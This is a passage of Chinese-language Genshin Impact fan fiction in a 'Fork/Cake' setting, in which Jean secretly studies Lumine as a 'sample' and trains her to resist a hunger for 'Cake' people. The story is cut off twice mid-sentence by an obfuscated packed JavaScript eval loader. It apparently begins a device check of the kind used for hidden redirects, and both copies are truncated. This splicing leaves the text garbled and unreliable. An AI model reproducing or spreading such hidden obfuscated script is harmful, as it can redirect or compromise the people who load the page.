“你的第一个任务。”琴推过来一份任务简报,“蒙德城东南方向的鹰翔海滩,最近有渔民报告说夜间看到异常光亮,还有奇怪的声响。需要你去调查清楚。” 荧接过简报。任务等级:C(低风险)。报酬:两千摩拉。 “今天就出发?”她问。 “今天下午。”琴说,“出发前,你需要先去一趟教会。芭芭拉会为你做一次全面的身体检查——这是所有外勤人员的标准流程。” 又是检查。 荧想起温迪说的“薄荷糖”,心里闪过一丝异样,但还是点头:“好的。” “另外。”琴顿了顿,从抽屉里拿出一个小巧的银色盒子,推到荧面前,“这是配发给特殊岗位人员的‘应急装备’,请随身携带。” 荧打开盒子。里面是几颗晶莹剔透的薄荷糖,用锡纸单独包装,散发着清凉的香气。 旁边还有个小瓶,标签上写着:“镇静喷雾·教会特制”。 “野外任务可能遇到各种突发情况。”琴的语气很自然,“薄荷糖能提神,喷雾可以应对蚊虫或轻微中毒。记住,遇到任何异常——无论是环境还是你自身感觉——优先使用这些,然后立刻撤退汇报。” “是。”荧收起盒子。 琴看着她,忽然问:“你对昨天仓库里袭击你的人,有什么印象?” 荧心里一紧。她斟酌着词句:“动作很快,力气很大……眼睛是暗金色的。” “还有吗?” “……他说了些奇怪的话。关于‘Fork’和‘Cake’。” 琴的手指在桌面上轻轻敲了一下。很轻微的动作,但荧注意到了。 “那些是黑话。”琴说得很平静,“某些地下组织用来指代‘掠夺者’和‘受害者’。你不需要深究,只需要记住:遇到自称这类身份的人,立刻回避并上报。” 她的解释天衣无缝。但荧总觉得,琴在说这些话时,眼底有些她看不懂的情绪。 “好了。”琴站起身,“去教会吧。检查结束后,你可以自由活动,下午三点在城门口集合,会有后勤人员送你去鹰翔海滩。” 荧也站起来,行了个刚学的骑士礼:“是。” 她转身离开。走到门口时,琴的声音从身后传来: “荧。” “在。” “蒙德的自由,建立在秩序之上。”琴的声音很轻,却带着某种重量,“记住这一点。对你……对所有人,都好。” 荧回头,看见琴已经重新望向窗外。晨光勾勒出她侧脸的轮廓,那瞬间,荧忽然觉得这位看似完美的团长,背影有种说不出的……孤独。 “我记住了。”她说。 门轻轻关上。 办公室里,琴沉默地站了很久。然后她走回桌前,打开那个上锁的抽屉,取出观察日志。 羽毛笔蘸满墨水,她在新的一页写下: 【样本观察日志·第三日】 【对象:荧(已入职骑士团)】 【状态:接受初步管控,对自身异常仍无认知】 【今日安排:教会检查,鹰翔海滩侦察】 【测试项目:1.接触标准镇静剂反应 2.独立任务适应性 3.对Cake气息的持续钝感】 【备注:需重点观察其与任务区域可能存在的‘残响’之互动】 写完,她没有立刻合上日志,而是看着那行字出神。 窗外的风吹进来,掀动纸页。琴伸手按住,指尖拂过“荧”这个名字。 “别让我失望。”她轻声说,像在对自己,又像在对那个已经走远的人。 教会的气氛和骑士团截然不同。 空气里弥漫着熏香和草药的味道,彩绘玻璃滤下的光斑在地面上缓缓移动。 芭芭拉穿着牧师长袍,正在治疗室门口等她。 “荧小姐,这边请。”芭芭拉的笑容温柔甜美,但荧注意到,她递过检查表时,指尖在微微发抖。 检查流程很常规:身高体重、视力听力、抽血化验、元素感应测试。 芭芭拉操作得很专业,但总是和荧保持着至少两步的距离,说话时也很少直视她的眼睛。 “那个……”在等待化验结果时,荧忍不住问,“芭芭拉小姐,你认识温迪吗?那个吟游诗人。” 芭芭拉正在整理器械的手顿了顿:“温迪先生?认识呀,他经常在广场演出。为什么问这个?” “他让我……如果需要的话,可以来找你要薄荷糖。” 芭芭拉的脸色白了白。她转过身,从柜子里拿出一个更大的铁盒,里面装满那种特制薄荷糖。 “温迪先生说得对。”芭芭拉的声音有些紧,“这些……你带着。如果觉得头晕、恶心,或者……‘饿’,就吃一颗。很有效的。” 她把盒子塞进荧手里,动作快得像是怕碰到她的手。 荧看着满满一盒糖,心里的疑惑越来越重。为什么所有人都这么在意‘饿’这件事? “芭芭拉小姐,”她问,“你们是不是知道什么?关于我……” “我不知道!”芭芭拉突然打断她,声音拔高了些,随即又意识到失态,低下头,“我、我只是个牧师。琴姐姐说你需要这些,我就准备了。别的……我什么都不知道。” 她说完就匆匆离开了治疗室,留下荧一个人对着满盒的薄荷糖发呆。 化验结果很快出来。芭芭拉再进来时已经恢复了平静,把报告单递给荧:“一切正常。血液元素浓度偏低,但还在标准范围内。可以走了。” 荧接过报告,最后问了一句:“琴团长……经常这样照顾新人吗?” 芭芭拉抿了抿嘴唇。 “琴姐姐她……”她小声说,“只是不想再看到有人……受苦。” 这话说得没头没尾。荧还想再问,芭芭拉已经转身去整理器械,摆明了不想继续这个话题。 算了。 荧收起报告和糖盒,离开了教会。 刚走出大门,她就看到了那个熟悉的身影。 迪卢克·莱艮芬德靠在对街的墙角,抱臂看着她。他今天没穿那身标志性的黑红色礼服,换了身朴素的旅行装束,但那股“燃烧葡萄藤”的气息还是一下子就钻进了荧的感官。 她下意识后退了半步。 迪卢克走过来,红色眼眸扫过她身上的制服:“入职了?” “……嗯。” “动作真快。”他的语气听不出情绪,“昨天还是野路子冒险者,今天就成骑士团顾问了。” “团长说我有潜力。”荧说。 迪卢克扯了扯嘴角,那表情说不出是嘲讽还是什么:“她确实很会‘发掘潜力’。” 两人之间沉默了几秒。街上的行人来来往往,没人注意到这个角落。 “鹰翔海滩的任务,”迪卢克突然说,“我建议你推掉。” 荧一愣:“为什么?” “那片区域最近不太平。”迪卢克说,“不止是异常光亮。有猎户在附近失踪,找到的时候……”他顿了顿,“和昨天仓库里那些人一样。” 荧的心沉了下去。 “骑士团知道吗?” “知道。”迪卢克看着她,“所以才派你去。” 这话里的意思太明显了。荧握紧了拳头:“你是说……团长故意让我去危险的地方?” “我说过,琴·古恩希尔德不是表面看起来那么简单。”迪卢克的声音压低,“她对你有兴趣,荧。但这种‘兴趣’,不一定是为了你好。” 他伸出手,不是要碰她,而是摊开掌心。里面是一枚小巧的、刻着火焰纹章的金属片。 “如果遇到危险,捏碎它。”迪卢克说,“我会知道。” 荧看着那枚金属片,没有接。 “为什么帮我?”她问,“我们只见过两次。” 迪卢克沉默了很久。久到荧以为他不会回答了。 “因为蒙德需要更多能活下来的人。”他最终说,“而不是死在别人实验里的‘样本’。” 他把金属片塞进荧手里,转身走了。 荧站在原地,看着他的背影消失在街角。手心里的金属片还带着体温,微微发烫。 样本。 又是这个词。一个戏谑的、冷淡的带有不详意味的词汇。 下午三点,城门口。 后勤小队已经准备好马车。带队的是个憨厚的中年骑士,叫艾伦,话不多,但很可靠。 不知道为什么下巴链接鼻子处戴着铁质的形似笼子的东西。好像不是第一次看到这个样子的东西。 细细观察,骑士团里有一些人也有,难道这是新风尚吗? “荣誉骑士小姐,上车吧。天黑前能到海滩,我们在外围扎营,您进去侦察,我们在外接应。” 荧点点头,正要上车,身后传来熟悉的笑声。 “哎呀呀,这么重要的任务,怎么能少了专业人士的陪同呢?” 凯亚·亚尔伯里奇骑着马慢悠悠地晃过来,还是那副玩世不恭的笑脸。 他今天也换了便装,但腰间那枚冰蓝色神之眼依旧显眼。 艾伦立刻行礼:“凯亚队长!” “免礼免礼。”凯亚翻身下马,走到荧面前,“团长临时决定,这个任务由我带队。惊不惊喜?” 荧看着他,又想起迪卢克的警告。 “离凯亚·亚尔伯里奇远点。”“让你去查这件事,多半是想看看你会不会死在这里。” “怎么,不欢迎我?”凯亚歪了歪头,“放心,有我在,保证任务顺利——毕竟我也不想看到这么有趣的‘新人’出意外嘛。” 他话里有话。荧听出来了,但只能点头:“那就麻烦队长了。” “不麻烦不麻烦。”凯亚笑着拍了拍她的肩,“走吧,趁天还亮。” 他的手指碰到她肩膀的瞬间,那股“冰冻糖浆”的甜腻感又涌了上来。荧忍住了后退的冲动,转身上了马车。 凯亚看着她僵硬的背影,笑容深了些。 马车驶出城门,沿着海岸线向东。一路上凯亚都很健谈,讲蒙德的风土人情,讲骑士团的趣事,绝口不提任务本身。 直到鹰翔海滩出现在视野里,他才终于收起笑容。 “听着,”他的声音严肃起来,“等会儿进去后,跟紧我。不管看到什么,听到什么,别乱跑,更别乱碰。” “这里到底有什么?”荧问。 凯亚看着远处那片在夕阳下泛着金光的海滩,冰蓝色的眼眸沉了沉。 “残响。”他说,“一些……不该存在的东西留下的‘残响’。” 马车在海滩边缘的树林旁停下。艾伦带着后勤人员开始扎营,荧可以看见,艾伦已经摘下了那个铁疙瘩,团里的其他人也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“收拾东西,回城。”凯亚当机立断,“这里的情况超出预期,需要重新评估。” “可是任务……” “任务变更。”凯亚看着她苍白的脸,难得没了笑容,“你现在需要的是回教会,做一次深度净化。被‘残响’影响的人,容易产生幻觉,严重的话……” 他没说完,但荧明白了。 两人回到营地,凯亚快速交代了艾伦几句,就带着荧上了马。 “我送你回城。”他说,“路上别睡,保持清醒。” 马匹在夜色中奔驰。荧坐在凯亚身前,海风呼啸而过,但她脑子里还在回放刚才看到的画面,听到的声音。 同类、归处。 “凯亚队长。”她突然问,“‘Fork’到底是什么?” 凯亚的身体僵了一下。 “谁告诉你的这个词?” “仓库里那个人。还有……琴团长说那是黑话。” 凯亚沉默了很久。久到荧以为他又要敷衍过去。 “Fork是刀叉。”他终于开口,声音在风里有些模糊,“Cake是蛋糕。刀叉吃蛋糕,天经地义——这就是字面意思。” “那为什么……” “因为有些人,生来就是‘刀叉’。”凯亚说,“而有些人,生来就是‘蛋糕’。刀叉会本能地寻找蛋糕,想切开它,品尝它,吞噬它。这是写在血脉里的规则,改不了,逃不掉。” 他的语气很平静,但荧听出了一丝……自嘲? “那我……” “你?”凯亚笑了,笑声里带着她听不懂的情绪,“你啊,是那把还没发现自己能切开什么的‘钝刀’。所以珍惜现在吧,荧。无知……有时候是种幸福。” 马匹冲进蒙德城门时,教堂的钟声正在敲响晚祷。 凯亚把荧送到教会门口,看着她下车。 “芭芭拉知道该怎么做。”他说,“明天早上,来我办公室报到。我们需要谈谈今天的事。” “队长。”荧叫住他,“你也是吗?” 凯亚回头。 “‘蛋糕’?”荧问。 凯亚盯着她看了几秒,然后笑了。那个笑容很复杂,有玩味,有苦涩,还有某种她看不透的东西。 “你猜?”他说。 然后转身,消失在夜色里。 荧站在教会门口,手里还攥着迪卢克给的金属片,口袋里装着琴给的薄荷糖,脑子里回响着凯亚的话。 刀叉与蛋糕。 同类与归处。 芭芭拉从里面跑出来,看到她苍白的脸色,立刻拉住她的手:“快进来!你需要净化!” 荧任由她拉着往里走。经过教堂大厅时,她看见温迪坐在长椅上,抱着琴,对她眨了眨眼。 “今晚的星星很亮呢。”诗人轻声说,“但有些人,注定要走进黑暗里,才能找到自己的光。” 荧想问他什么意思,但芭芭拉已经把她拉进了治疗室。 门关上。 教堂外,夜色深沉。 骑士团总部,琴站在窗前,看着教会的方向,手里握着一份刚刚送达的急报: 【鹰翔海滩‘残响’活性激增】 【检测到高频精神共鸣,源头与目标‘荧’匹配度87%】 【建议:立即实施二级监控,准备‘觉醒’预案】 她放下急报,拿起羽毛笔,在观察日志上快速书写: 【样本对‘残响’产生强烈共鸣】 【觉醒进程可能提前】 【必须加快管控措施】 【明日起,实施贴身监控方案】 写完,她走到墙边,按下一个隐蔽的按钮。墙壁滑开,露出一间密室。 密室里只有一张桌子,桌上摆着三个水晶球。每个球体里都封存着一缕气息——冰蓝的甜腻,赤红的灼热,还有一缕……淡金色的。荧今天刚刚在教会留下的气息样本。 琴将手放在三个水晶球上,闭上眼睛。 “别怪我。”她低声说,声音在空荡的密室里回荡,“我只是……不想再失去任何人了。” 窗外,蒙德的夜空,星辰黯淡。 风暴正在积聚。 而身处风暴中心的荧,对此一无所知。 她只是躺在教会的治疗床上,听着芭芭拉轻柔的祈祷声,慢慢闭上眼睛。 梦里,她又看见了那片幽蓝的光。 还有光里,无数双向她伸来的手。 【下章预告】 贴身监控计划启动,琴团长将亲自“指导”荧的日常工作。一次突如其来的全城戒严,将揭开蒙德阴影下更危险的秘密。而荧的身体,开始出现无法解释的变化…… 4. 贴身指导 第二天清晨,荧是被派蒙用冰水泼醒的。 “旅行者!快起来!”派蒙急得在空中转圈,“琴团长来了!就在楼下大厅!” 荧一个激灵坐起来,脑子还没完全清醒,身体已经本能地开始套制服。等她冲下楼时,看见琴正坐在旅馆简陋的大厅里,慢条斯理地喝着茶——那套精致的团长制服和这个破旧环境格格不入。 “团、团长?”荧停在楼梯口,有些无措。 琴放下茶杯,抬眼看她。晨光从窗户斜照进来,在她湖蓝色的眼眸里映出一层浅金色的光晕。 “早。”琴的声音平静温和,“从今天起,我会亲自负责你的‘入职培训’。给你十分钟整理,然后出发。” “出发?去哪?” “训练场。”琴站起身,“你需要系统学习骑士团的战斗规范和应急流程——尤其是,如何应对‘特殊威胁’。” 她说最后四个字时,语气微不可查地加重了些。 西风骑士团的训练场在城西,占地宽阔,各种训练设施齐全。这个时间点已经有早起的骑士在晨练,看到琴亲自带人过来,纷纷投来好奇的目光。 琴把荧带到角落一个相对僻静的训练区。这里用木桩围出了个小型场地,地面铺着细沙,旁边武器架上摆着各类训练器械。 “第一课,基础防御姿态。”琴拔出腰间的训练用木剑,“看着我。” 她演示了几个标准动作。举盾格挡,侧身闪避,后撤步拉开距离。每一个动作都精准得像用尺子量过,干净利落,没有任何多余的花哨。 荧跟着模仿。她有自己的战斗习惯——流浪途中磨炼出来的野路子,讲究实用和效率,但确实不符合骑士团的规范。 “手腕压低三度。”琴走到她身后,抬手调整她的姿势,“重心要稳,像扎根在地上。” 她的手指碰到荧手腕的瞬间,荧的身体僵了一下。 不是因为紧张。 是某种……更生理性的反应。荧发现她在蒙德城碰到的主要人物好像都带有自己独特的味道。‘琴团长是什么味的呢?’ 琴的气息——不是香水或者体味,是某种更深层的、她无法形容的“感觉”——在这一刻变得异常清晰。 那像什么? 荧的脑子飞快运转,试图找到合适的比喻。‘初雪覆盖的松林?冰封湖面的第一道晨光?不对,都不对……’ “专心。”琴的声音在耳边响起,温热的气息拂过她的耳廓。 荧的耳朵“腾”地红了。 “是、是!”她连忙集中精神,摆正姿势。 琴退开两步,看着她泛红的耳尖,眼底闪过一丝极快的情绪。但她什么也没说,只是继续指导:“接下来,攻击动作。用你习惯的方式攻击我,我会示范如何应对。” 荧握紧木剑,深吸一口气。然后她动了。 不是骑士团那种一板一眼的刺击,而是她最熟悉的、从无数次实战中磨炼出来的突进——压低重心,爆发前冲,剑尖直刺咽喉。 快,准,狠。 但琴的动作更快。 她甚至没有后退,只是侧身半步,手腕一翻,木剑精准地敲在荧的手腕内侧。力道不大,却正好打在麻筋上。 荧手一松,木剑“哐当”掉在地上。 “不错的爆发力。”琴看着她的眼睛,“但意图太明显。对付普通魔物可以,对付有智慧的敌人——比如昨天的黑袍人——这种打法等于送死。” 荧揉着发麻的手腕,有些不甘,又不得不承认她说得对。 “再来。”琴说。 接下来的两个小时,荧经历了加入骑士团以来最密集的训练。琴的指导极其严格,每一个动作都要重复几十遍直到完美,每一次失误都会得到冷静的分析和纠正。 但让荧最不安的,不是训练的强度。 是琴的靠近。 每一次近距离示范,每一次肢体接触的纠正,每一次呼吸可闻的指导……都让那种奇怪的“感觉”变得越来越清晰,越来越难以忽略。 更糟的是,她的身体开始出现异常反应。 口渴。莫名的干渴,不是喉咙渴,是那种从胃里烧上来的、连骨髓都在叫嚣着需要什么的渴。 心跳加速。不是运动后的正常加速,是毫无缘由的、突然的心悸。 还有注意力难以集中。她的视线总是不由自主地飘向琴的脖颈——那里皮肤白皙,颈动脉随着说话微微跳动,看起来…… 看起来…… 荧猛地摇头,把这个可怕的念头甩出脑子。 “累了?”琴注意到她的动作。 “……有点渴。”荧说,声音有些哑。 琴从腰间解下水囊递给她。那是个银质的行军水囊,表面刻着古恩希尔德的家族纹章。 荧接过来,仰头灌了几口。水很清凉,带着淡淡的薄荷味——不是普通的薄荷,是那种教会特制薄荷糖的浓缩版。 清水入喉,那股莫名的干渴瞬间缓解了大半。 “谢谢。”她把水囊递回去。 琴没有接。“你留着。训练期间随时补充水分——尤其是感到‘异常’的时候。” 她说这话时语气很自然,但荧听出了潜台词:她知道。她知道我会口渴,知道我什么时候会“异常”。 训练继续进行。但荧的心思已经不完全在动作上了。她一边机械地重复着剑术套路,一边用余光观察琴。 琴的每一个动作都完美符合骑士团团长的形象。严谨,公正,强大,无可挑剔。 可荧总觉得,在那张完美的面具下,有什么东西……不一样。 比如刚才指导她闪避时,琴的手在她腰侧停留的时间,似乎比必要长了半秒。 比如指出她脚步错误时,琴俯身靠近的幅度,稍微超过了教学需要的距离。 还有现在——琴正站在她身后,一只手按着她的肩膀纠正姿态。那只手很稳,力道适中,但指尖的温度……是不是太高了点? “团长。”荧突然开口。 “嗯?” “您对我……是不是太关注了?” 空气安静了一瞬。 琴的手没有松开,声音从她头顶传来,平静无波:“你是骑士团的特聘顾问,也是我亲自招入的。我对你负责,自然要关注。” “只是这样吗?” “不然呢?”琴反问。 荧沉默了。她不知道该怎么描述自己的感觉——那种被狩猎者盯上的、毛骨悚然的直觉,和某种更矛盾的、几乎想要主动靠近的冲动。 “继续训练。”琴松开手,退到安全距离,“下午还有文化课,学习蒙德律法和骑士团规章。” 文化课在骑士团总部的图书室进行。负责授课的是丽莎,一位慵懒又神秘的图书管理员。 “哎呀,小可爱来啦。”丽莎窝在扶手椅里,手里捧着本书,笑容妩媚,“琴还真是认真呢,连文化课都给你安排了。” 她拍了拍身边的座位:“坐吧,今天讲《西风宪章》的基本原则——放心,我不会讲得太枯燥的。” 荧在她旁边坐下。丽莎身上有股淡淡的、混合了书卷和雷元素的气息,但奇怪的是,这种气息没有引起她任何不适反应。 “你不怕我吗?”荧忍不住问。 丽莎挑了挑眉:“怕你?为什么?” “因为我是……呃,新来的?而且昨天出了那种事……” “哦,你说那个啊。”丽莎翻过一页书,语气轻松,“每个人都有自己的小秘密,小可爱。只要你不把图书室点着,不在我面前吃人,我们就相安无事。” 她说“吃人”这个词时,语气平淡得像在说“吃苹果”。 荧的心跳漏了一拍。 “您、您说什么……” “开玩笑的啦。”丽莎对她眨眨眼,“不过说真的,琴对你很上心呢。她很少亲自指导新人到这个程度——上次让她这么费心的,还是她那个妹妹芭芭拉。” 荧想起芭芭拉看她的眼神,那种混杂着恐惧和怜悯的眼神。 “芭芭拉小姐她……” “她是个好孩子,就是心思太重。”丽莎合上书,看向荧,“你也别想太多。在蒙德,只要遵守规则,就能活得很好。琴定的规则,更是如此。” 这话里有话。荧听出来了,但丽莎显然不打算再说下去。 接下来的两个小时,丽莎简单讲解了《西风宪章》的核心条款,又介绍了骑士团的组织结构。荧听得很认真,做着笔记——这些都是生存必备的知识。 课程结束时,丽莎叫住她。 “小可爱,送你个忠告。”图书管理员的眼神难得认真起来,“在蒙德,有些人像烈酒,热情但容易上头;有些人像毒药,甜美但致命;而琴……” 她顿了顿。 “琴像冰封的湖水。表面平静,但湖底有什么,没人知道。你要小心,别掉进去——会溺死的。” 荧走出图书室时,脑子里还回响着这句话。 她当然知道琴不简单。但问题是……为什么? 为什么琴要对她这么特别?为什么所有人都讳莫如深?为什么她的身体会出现那些奇怪的反应? 这些疑问在她脑子里打转,直到她在走廊上撞见凯亚。 “哟,顾问小姐。”骑兵队长靠墙站着,手里把玩着一枚摩拉,“听说你今天享受了团长的亲自指导?感觉如何?” “……很严格。” “她一向如此。”凯亚把摩拉弹向空中,又接住,“不过你有没有觉得,她对你的‘严格’,有点……过度了?” 荧看着他:“队长想说什么?” “我想说,”凯亚走近两步,压低声音,“琴最近调阅了所有关于‘Fork觉醒案例’的档案,还让丽莎整理了‘古代血脉研究’的文献。你说……她在研究什么?” 荧的心沉了下去。 “我不知道。” “你当然不知道。”凯亚笑了笑,笑容里没什么温度,“因为你就是她的研究对象啊,荧。活体的、未觉醒的、完美无缺的……样本。” 样本。 又是这个词。 “我不明白……” “你不需要明白。”凯亚打断她。 他说完转身要走,又停下。 “对了,今晚别睡太死。”凯亚回头,冰蓝色的眼眸在昏暗的走廊里闪着幽光,“城里有行动。如果你听到动静……待在房间里,别出来。” 当晚,荧确实没睡好。 不是因为凯亚的警告,而是因为身体越来越明显的异常。 那种干渴感又回来了,比白天更强烈。心脏跳得很快,皮肤表面泛起不正常的潮红,手心在出汗。 她爬起来,灌了一大口琴给的薄荷水。清凉感暂时压下了症状,但没过半小时,一切又卷土重来。 到底怎么了? 她走到窗边,推开窗户想透透气。夜风很凉,吹在发烫的脸上稍微舒服了点。她回头看看,派蒙躺在床上呼呼大睡,恐怕炮弹炸在耳边才能把她叫醒。之前一起在野外游历的时候荧就羡慕她的睡眠质量了。 就在这时,她看见了。 街道上有黑影在快速移动——不止一个,是一群。他们穿着夜行衣,动作迅捷无声,像一群在夜色中潜行的猎豹。 而在更远的地方,城墙方向亮起了火光。 出事了。 荧抓起剑就想往外冲,但凯亚的话在耳边响起:“待在房间里,别出来。” 她犹豫了。手按在门把上,听着外面隐约传来的打斗声和叫喊声,心脏在胸腔里狂跳。 然后她闻到了。 血腥味。 浓重的、新鲜的血腥味,从街道方向飘来,顺着夜风钻进她的鼻腔。 就在那一瞬间—— “轰!” 世界变了。 所有的声音都消失了,只剩下自己震耳欲聋的心跳。所有的颜色都褪去,只剩下黑白灰和……鲜红。 她看见了。 不是用眼睛,是某种更深的感官。她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“但你看到了,问题没有解决。”琴的声音很轻,“只要‘饥渴’存在,只要‘刀叉’和‘蛋糕’的规则还在,这种事就永远不会结束。” 荧沉默了。她看着自己的手,那只刚才差点失控的手。 “所以我是……” “你是Fork。”琴转过头,看着她,“不是黑话,不是比喻。是字面意义上的、生理学上的Fork。你的本能会驱使你寻找并吞噬‘Cake’。” 真相像一把锤子砸在心上。荧踉跄着后退,背撞在墙上。 “不……” “是真的。”琴的表情没有任何变化,“你闻到的那些‘奇怪的味道’,你对某些人的异常反应,你今天的干渴和躁动——都是证据。” “那你们……” “我是Fork,芭芭拉是Cake,凯亚和迪卢克也是Cake。”琴说得很平静,像在念一份报告,“这就是蒙德的真相。表面上的自由之城,暗地里是个巨大的、随时可能引爆的‘餐桌’。” 荧靠着墙滑坐到地上。信息量太大,她的大脑处理不过来。 琴蹲下身,平视着她。 “听着,荧。”她的声音终于有了一丝温度,“你现在有两个选择。第一,离开蒙德,找个没人的地方躲起来,你还没有尝过cake的味道,靠意志力和药物压制本能,孤独地活下去。” “第二呢?” “第二,留下来。”琴伸出手,掌心向上,“接受我的指导,学习控制你的能力,成为骑士团需要的——能够保护Cake而不是吞噬他们的Fork。” 她的手很稳,眼神很坚定。 “我想证明一件事。”琴轻声说,“证明Fork和Cake可以共存,证明本能可以被意志驾驭,证明‘刀叉’也可以成为‘盾牌’。而你……” 她看着荧的眼睛。 “你是最好的实验样本,也是我最后的希望。” ‘原来是这个样本吗’ 窗外,战斗的声音渐渐平息。火光熄灭,蒙德重新陷入宁静的夜色。 荧看着琴伸出的手,看了很久很久。 她想起仓库里黑袍人那双暗金色的眼睛,想起芭芭拉恐惧的眼神,想起迪卢克的警告,想起凯亚的嘲讽,想起温迪那些听不懂的话。 最后,她想起了自己空空的钱袋,破洞的靴子,还有那个最简单的愿望:活下去,找到哥哥。 她伸出手,握住了琴的手。 “我选第二条路。”她说。 琴的唇角,扬起一个极浅、极淡的微笑。 “很好。”她收紧手指,把荧拉起来,“那么从明天开始,真正的训练开始。你会学习如何控制‘饥渴’,如何分辨Cake的等级,如何在战斗中保持理智……” 她顿了顿。 “以及,如何在我面前,活下去。” 琴松开手,转身走向门口。走到门边时,她回头看了一眼。 荧还站在原地,背挺得笔直,眼神里有恐惧,有迷茫,但更多的是某种……决绝。 “今晚好好休息。”琴说,“明天会很辛苦。” 门关上了。 房间里清醒着的只剩下荧一个人。她走到镜子前,看着里面的自己。 金色的长发,金色的眼睛,普通人类的外表。 但皮肤下流淌的,是猎食者的血。 她深吸一口气,握紧了拳头。 Fork就Fork。怪物就怪物。只要能活下去,只要能保护想保护的人—— 镜子里的人眼神渐渐坚定。 她什么都愿意做。 窗外,月亮从云层后露出脸来。 清冷的月光洒进房间,照亮了她眼底那一闪而过的、暗金色的光。 【下章预告】 深度训练开始,荧将在琴的指导下学习控制本能。但一次意外的“失控事件”,将让她直面自己内心最黑暗的渴望。而蒙德的阴影中,真正的“捕食者之王”正在苏醒…… 5. 在理智与本能之间 训练是从黎明开始的。由于是训练,派蒙在训练室也帮不了什么,索性给她一些摩拉让她在蒙德城内自己消磨时间,希望晚上回去不会看到一个酒蒙子派蒙。 琴把荧带到了骑士团总部地下的一间特殊训练室。房间没有窗户,墙壁是厚重的石砖,地面铺着软垫,唯一的光源是天花板中央嵌入的几颗发光矿石。 “这里能隔绝大部分气味和声音。”琴锁上门,转过身,“在你学会控制本能之前,你不能接触任何Cake——包括芭芭拉、凯亚和迪卢克。” 荧点点头。她昨晚几乎没睡,脑子里反复回放着琴说的每一句话。Fork、Cake、本能、控制。 “第一步,认识你的‘饥饿’。”琴走到房间中央,从腰间解下一个小皮囊,“这里面装的是稀释过的Cake血液样本,来自监狱里一个自愿捐献的死囚。” 她打开皮囊的瞬间,荧的呼吸停滞了。 那股气味——甜腻的、滚烫的、带着铁锈芬芳的气味——像一只无形的手扼住了她的喉咙。她的瞳孔瞬间收缩,暗金色的光芒在眼底涌动,牙齿开始发痒。 “不要压制它。”琴的声音很冷静,“感受它。告诉我你现在想做什么。” “我……”荧的声音嘶哑,“我想……撕开那个皮囊……把里面的东西……” “说下去。” “喝下去。”荧闭上眼睛,手指深深掐进掌心,“让它填满我……让我不再这么……空虚。” 她说出这些话时,感到一种深刻的羞耻。但琴的表情没有任何变化。 “很好。”琴重新扎紧皮囊,气味减弱了,“记住这种感觉。这不是罪恶,不是堕落,是你的生理本能,就像饥饿的人看见食物。区别在于——” 她走近荧,两人之间只隔着一臂的距离。 “人类可以忍住不吃有毒的食物。你也要学会,忍住不碰不能碰的‘食物’。” 接下来的三个小时,是荧经历过最痛苦的训练。 琴会定期打开皮囊,让她暴露在气味中,然后要求她描述感受、计算呼吸次数、背诵骑士守则——任何能分散注意力的事。每一次,那股渴望都像海啸般冲击着她的理智堤坝,而她要做的,就是在彻底崩溃前关上阀门。 到第四次时,荧已经浑身被冷汗浸透,跪在软垫上大口喘气。 “还不够。”琴的声音从头顶传来,“真正的战斗里,Cake会流血,会散发更浓烈的气味。如果你连这种稀释样本都抵抗不了……” “我能行。”荧咬着牙站起来,金色的瞳孔在昏暗的光线里亮得骇人,“再来。” 琴看着她。少女的头发湿漉漉地贴在脸颊,制服凌乱,眼睛里燃烧着某种近乎偏执的倔强。 那一瞬间,琴的呼吸几不可查地停顿了一下。 她见过太多Fork在第一次训练中崩溃、哭泣、甚至攻击训练者。但荧没有。她只是爬起来,擦掉嘴角因为咬得太用力而渗出的血丝,说“再来”。 像野草。像在岩石缝隙里也要拼命生长的野草。 琴移开视线,重新打开皮囊。 中午的休息时间,琴带荧到地上的休息室吃饭。食物很简单:白面包、水煮蔬菜、没有调味料的烤肉。 “Cake的气味会刺激唾液分泌和消化系统。”琴解释,“如果你在‘饥渴状态’下吃味道浓郁的食物,容易引发呕吐。” 荧默默啃着面包。她的味觉好像出了问题,食物吃起来像木屑,只有水还算能接受。 “团长。”她突然问,“您第一次训练的时候……是什么样的?” 琴切牛排的动作顿了顿。 “十四岁。”她平静地说,“在我的父亲——前任团长面前。我闻到了他身上Cake的气味,然后攻击了他。” 荧抬起头。 “我咬穿了他的手腕,差点撕开动脉。”琴继续说,语气像在说别人的事,“是丽莎用雷元素麻痹了我,才没酿成大祸。之后我在这个地下室关了三个月,每天训练八小时,直到能在满屋Cake血液样本里安静地看完一本书。” 她说得轻描淡写,但荧听出了背后的重量。 “您的父亲……” “他还活着,退休在乡下。”琴放下刀叉,“但他再也没让我靠近过他三米以内。” 房间里安静下来。只有餐具碰撞的轻微声响。 荧看着琴。她坐得笔直,用餐姿势无可挑剔,湖蓝色的眼眸低垂着,睫毛在脸颊上投下浅浅的阴影。 她在难过。 这个认知突然击中荧。尽管琴的表情没有任何变化,但荧就是知道——她在为那段往事难过。 “对不起。”荧小声说。 琴抬起眼:“为什么道歉?” “让您想起不好的事……” 琴看了她几秒,然后极轻微地摇了摇头。 “你不用道歉。”她说,“相反,我应该感谢你。” “感谢我?” “感谢你让我相信,有些错误……是可以被修正的。”琴的声音很轻,“感谢你选择留下来,选择成为那个‘证明’。” 她的目光落在荧脸上,有那么一瞬间,荧觉得琴的眼神软化了——不是团长看下属的眼神,而是某种更私人的、更柔软的眼神。 但很快,那眼神又恢复了平日的冷静。 “吃完休息二十分钟。”琴站起身,“下午训练实战对抗。” 实战训练用的是木剑,但琴的攻势比真剑还凌厉。 她不再指导,只是攻击。每一次劈砍、每一次突刺都冲着要害,逼得荧必须全力应对。汗水很快浸湿了制服,荧的呼吸变得粗重,但她的眼神越来越亮。 她开始适应这种节奏。开始预判琴的动作,开始找到反击的空隙。 第三次被琴的木剑抵住咽喉时,荧没有像前两次那样僵住。她突然松手让木剑掉落,同时矮身突进,手肘撞向琴的腹部。 琴反应极快地后撤,但荧的动作更快——她不是要攻击,而是虚晃一枪,真正的目标是捡起掉落的木剑。 